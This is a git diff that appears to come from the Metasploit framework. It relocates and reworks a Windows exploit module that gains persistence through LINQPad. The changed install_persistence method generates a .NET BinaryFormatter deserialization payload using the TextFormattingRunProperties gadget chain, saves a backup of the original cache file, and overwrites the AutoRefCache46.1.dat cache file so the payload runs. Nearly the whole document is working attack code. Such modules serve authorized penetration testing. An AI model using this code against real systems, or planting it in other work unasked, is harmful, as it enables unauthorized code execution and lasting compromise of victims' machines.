diff --git a/documentation/modules/exploit/windows/local/linqpad_deserialization.md b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md similarity index 100% rename from documentation/modules/exploit/windows/local/linqpad_deserialization.md rename to documentation/modules/exploit/windows/persistence/linqpad_deserialization.md diff --git a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb similarity index 75% rename from modules/exploits/windows/local/linqpad_deserialization_persistence.rb rename to modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb index 586a8a8607766..08df6a0311818 100644 --- a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb @@ -8,10 +8,13 @@ class MetasploitModule < Msf::Exploit::Local # includes file?, directory? include Msf::Post::File + include Msf::Exploit::Local::Persistence # includes generate include Msf::Util::DotNetDeserialization + prepend Msf::Exploit::Remote::AutoCheck + def initialize(info = {}) super( update_info( @@ -45,15 +48,14 @@ def initialize(info = {}) register_options([ OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), - OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) ]) end # Simplify pulling the writable directory variable def check - if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) - return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') + if datastore['LINQPAD_FILE'].blank? || !file?(datastore['LINQPAD_FILE']) + return Exploit::CheckCode::Safe('LINQPad binary not specified or doesn\'t exist') elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') @@ -61,21 +63,28 @@ def check elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') else - return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') + return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable') end end - def exploit + def install_persistence # generate payload + vprint_status('Create deserialization payload') + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, # this is the Operating System command to run gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) + vprint_status('Saving the original content') + cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat') + backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup') + vprint_status("Saved at: #{backup_conf_path}") + + @clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat" + + vprint_status('Overwriting file') # try to overwrite cache file fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) - - # add cleanup option - register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] end end